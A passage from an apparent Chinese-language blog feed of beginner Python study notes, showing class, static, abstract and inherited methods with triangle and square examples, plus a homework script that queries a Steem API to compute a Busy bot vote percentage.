</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Yjcps
</span></span><span class="line"><span class="cl">1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Tom
</span></span><span class="line"><span class="cl">2
</span></span><span class="line"><span class="cl">2
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">1
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">0
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="静态方法和类方法">静态方法和类方法</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Triangle</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">_a</span> <span class="o">=</span> <span class="n">a</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">_b</span> <span class="o">=</span> <span class="n">b</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">_c</span> <span class="o">=</span> <span class="n">c</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 静态方法，通过装饰器@staticmethod定义，静态方法属于类方法</span>
</span></span><span class="line"><span class="cl">    <span class="nd">@staticmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">is_valid</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">a</span> <span class="o">+</span> <span class="n">b</span> <span class="o">&gt;</span> <span class="n">c</span> <span class="ow">and</span> <span class="n">b</span> <span class="o">+</span> <span class="n">c</span> <span class="o">&gt;</span> <span class="n">a</span> <span class="ow">and</span> <span class="n">a</span> <span class="o">+</span> <span class="n">c</span> <span class="o">&gt;</span> <span class="n">b</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 类方法使用装器@classmethod定义，cls 表示类本身</span>
</span></span><span class="line"><span class="cl">    <span class="nd">@classmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">create_by_default</span><span class="p">(</span><span class="bp">cls</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">a</span> <span class="o">=</span> <span class="mi">3</span>
</span></span><span class="line"><span class="cl">        <span class="n">b</span> <span class="o">=</span> <span class="mi">4</span>
</span></span><span class="line"><span class="cl">        <span class="n">c</span> <span class="o">=</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="bp">cls</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 对象的方法，self表示对象本身</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">perimeter</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_a</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">_b</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">_c</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 检查是否可以构成三角形</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">Triangle</span><span class="o">.</span><span class="n">is_valid</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">t1</span> <span class="o">=</span> <span class="n">Triangle</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Can&#39;t creat a Triangle&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 通过类方法创建默认的三角形</span>
</span></span><span class="line"><span class="cl"><span class="n">t2</span> <span class="o">=</span> <span class="n">Triangle</span><span class="o">.</span><span class="n">create_by_default</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 通过对象的方法计算三角形的周长</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;perimeter:&#39;</span><span class="p">,</span> <span class="n">t2</span><span class="o">.</span><span class="n">perimeter</span><span class="p">())</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Can&#39;t creat a Triangle
</span></span><span class="line"><span class="cl">perimeter: 12
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="抽象方法">抽象方法</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">abc</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Shape</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">_name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">_name</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 定义没有（可能无法）实现的方法，需要在子类中改写此方法</span>
</span></span><span class="line"><span class="cl">    <span class="nd">@abc.abstractmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">perimeter</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;&#39;&#39;Method should be rewrited&#39;&#39;&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">t1</span> <span class="o">=</span> <span class="n">Shape</span><span class="p">(</span><span class="s1">&#39;Shape&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">t1</span><span class="o">.</span><span class="n">perimeter</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="继承">继承</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">abc</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 定义父类（基类）</span>
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Shape</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">_name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">name</span> <span class="o">=</span> <span class="n">_name</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 定义没有（可能无法）实现的方法，需要在子类中改写此方法</span>
</span></span><span class="line"><span class="cl">    <span class="nd">@abc.abstractmethod</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">perimeter</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;&#39;&#39;Method should be rewrited&#39;&#39;&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 定义子类 继承Shape类</span>
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Triangle</span><span class="p">(</span><span class="n">Shape</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># 调用父类的初始化方法</span>
</span></span><span class="line"><span class="cl">        <span class="n">Shape</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="s1">&#39;Triangle&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">_a</span> <span class="o">=</span> <span class="n">a</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">_b</span> <span class="o">=</span> <span class="n">b</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">_c</span> <span class="o">=</span> <span class="n">c</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 在子类中改写perimeter方法</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">perimeter</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_a</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">_b</span> <span class="o">+</span> <span class="bp">self</span><span class="o">.</span><span class="n">_c</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">t1</span> <span class="o">=</span> <span class="n">Triangle</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">t1</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">t1</span><span class="o">.</span><span class="n">perimeter</span><span class="p">())</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Triangle
</span></span><span class="line"><span class="cl">12
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="多态">多态</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Square</span><span class="p">(</span><span class="n">Shape</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># 调用父类的初始化方法</span>
</span></span><span class="line"><span class="cl">        <span class="n">Shape</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="s1">&#39;Square&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">_a</span> <span class="o">=</span> <span class="n">a</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 在子类中改写perimeter方法</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">perimeter</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_a</span><span class="o">**</span><span class="mi">2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">t1</span> <span class="o">=</span> <span class="n">Triangle</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">s1</span> <span class="o">=</span> <span class="n">Square</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 不同的类可以有相同名字的方法，它们的行为可以不同，这就是多态。</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">t1</span><span class="o">.</span><span class="n">perimeter</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">s1</span><span class="o">.</span><span class="n">perimeter</span><span class="p">())</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">12
</span></span><span class="line"><span class="cl">25
</span></span></code></pre></td></tr></table>
</div>
</div><hr>
<h2 id="da-series---learn-python-with-steem">[DA series - Learn Python with Steem]</h2>
<ul>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-01-python">[DA series - Learn Python with Steem #01] 安裝Python、文字編輯器與哈囉！</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-02">[DA series - Learn Python with Steem #02] 變數與資料型態</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-03">[DA series - Learn Python with Steem #03] 邏輯判斷</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-04">[DA series - Learn Python with Steem #04] 迴圈</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">[DA series – Learn Python with Steem #05] 基本資料結構</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-06">[DA series - Learn Python with Steem #06] 函式</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-07">[DA series - Learn Python with Steem #07] 類別</a></li>
</ul>
<h2 id="我的笔记">我的笔记：</h2>
<ul>
<li><a href="https://busy.org/@yjcps/learn-python-with-steem-01">Learn Python with Steem #01 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem02-2ilwe1ti59">Learn Python with Steem #02 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem03-l5w15fszh9">Learn Python with Steem #03 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem04-0d8jly8ypt">Learn Python with Steem #04 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">Learn Python with Steem #05 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem06-c0tgbg3puu">Learn Python with Steem #06 笔记</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #06 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-08-04-learn-python-with-steem-06-note/</link>
      <pubDate>Sat, 04 Aug 2018 00:10:28 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-08-04-learn-python-with-steem-06-note/</guid>
      <description>Learn Python with Steem #06 笔记 [toc] 划重点 函数 函数是实现某个特定功能的一段代码。 将同一类相对独立的功能写成一个个函数，放到同一个py文件里，这就是一个模块。 你可</description>
      <content:encoded><![CDATA[<h1 id="learn-python-with-steem-06-笔记">Learn Python with Steem #06 笔记</h1>
<hr>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>
<p>函数 函数是实现某个特定功能的一段代码。</p>
<p>将同一类相对独立的功能写成一个个函数，放到同一个py文件里，这就是一个模块。</p>
<p>你可以试试输入 help(math) 看是不是这样的。</p>
</li>
<li>
<p>函数的结构</p>
<p>函数由输入参数、函数体、输出参数组成。</p>
<p>通过输入参数接收要处理的数据，</p>
<p>在函数体里实现要完成的功能，</p>
<p>最后将计算结果通过输出参数返回给使用者。</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 作业</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">my_average</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">average</span> <span class="o">=</span> <span class="p">(</span><span class="nb">sum</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">-</span> <span class="nb">max</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">-</span> <span class="nb">min</span><span class="p">(</span><span class="n">data</span><span class="p">))</span> <span class="o">/</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">-</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">average</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">345</span><span class="p">,</span> <span class="o">-</span><span class="mi">23</span><span class="p">,</span> <span class="mi">7</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">answer</span> <span class="o">=</span> <span class="n">my_average</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">answer</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4.5
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 将计算busy机器人点赞比例的功能写成一个函数</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">busy_vote_percent</span><span class="p">(</span><span class="n">username</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">minVests</span> <span class="o">=</span> <span class="mi">20000000</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># maxVests = 4000000000000  # maxVests 不是这个值</span>
</span></span><span class="line"><span class="cl">    <span class="n">maxVests</span> <span class="o">=</span> <span class="mi">5000000000000</span>
</span></span><span class="line"><span class="cl">    <span class="n">limitVests</span> <span class="o">=</span> <span class="mi">10000000000000</span>
</span></span><span class="line"><span class="cl">    <span class="n">minPercent</span> <span class="o">=</span> <span class="mi">6</span> <span class="o">/</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl">    <span class="n">maxPercent</span> <span class="o">=</span> <span class="mi">2500</span> <span class="o">/</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="s1">&#39;https://steemdb.com/api/accounts?account=&#39;</span> <span class="o">+</span> <span class="n">username</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">followers_mvest</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;followers_mvest&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">followers_mvest</span> <span class="o">&lt;</span> <span class="n">minVests</span> <span class="ow">or</span> <span class="n">followers_mvest</span> <span class="o">&gt;</span> <span class="n">limitVests</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">percent</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">percent</span> <span class="o">=</span> <span class="p">(</span><span class="mi">10000</span> <span class="o">/</span> <span class="n">maxVests</span><span class="p">)</span> <span class="o">*</span> <span class="n">followers_mvest</span>
</span></span><span class="line"><span class="cl">        <span class="c1">#         print(percent)</span>
</span></span><span class="line"><span class="cl">        <span class="n">percent</span> <span class="o">=</span> <span class="nb">min</span><span class="p">(</span><span class="nb">max</span><span class="p">(</span><span class="n">percent</span><span class="p">,</span> <span class="n">minPercent</span><span class="p">),</span> <span class="n">maxPercent</span><span class="p">)</span> <span class="o">/</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Hi,</span><span class="si">{}</span><span class="se">\n</span><span class="s1">followers_mvest:</span><span class="si">{}</span><span class="se">\n</span><span class="s1">your busy vote percent is: </span><span class="si">{:.2%}</span><span class="se">\n</span><span class="s1">&#39;</span><span class="o">.</span>
</span></span><span class="line"><span class="cl">          <span class="nb">format</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">followers_mvest</span><span class="p">,</span> <span class="n">percent</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#     return percent</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">busy_vote_percent</span><span class="p">(</span><span class="s1">&#39;yjcps&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">busy_vote_percent</span><span class="p">(</span><span class="s1">&#39;dapeng&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">busy_vote_percent</span><span class="p">(</span><span class="s1">&#39;shine.wong&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">busy_vote_percent</span><span class="p">(</span><span class="s1">&#39;deanliu&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Hi,yjcps
</span></span><span class="line"><span class="cl">followers_mvest:93266616.60498305
</span></span><span class="line"><span class="cl">your busy vote percent is: 0.19%
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Hi,dapeng
</span></span><span class="line"><span class="cl">followers_mvest:1856251363.8415272
</span></span><span class="line"><span class="cl">your busy vote percent is: 3.71%
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Hi,shine.wong
</span></span><span class="line"><span class="cl">followers_mvest:261131007.75513688
</span></span><span class="line"><span class="cl">your busy vote percent is: 0.52%
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Hi,deanliu
</span></span><span class="line"><span class="cl">followers_mvest:18379826592.987816
</span></span><span class="line"><span class="cl">your busy vote percent is: 25.00%
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="补充">补充</h2>
<h3 id="变量的作用域">变量的作用域</h3>
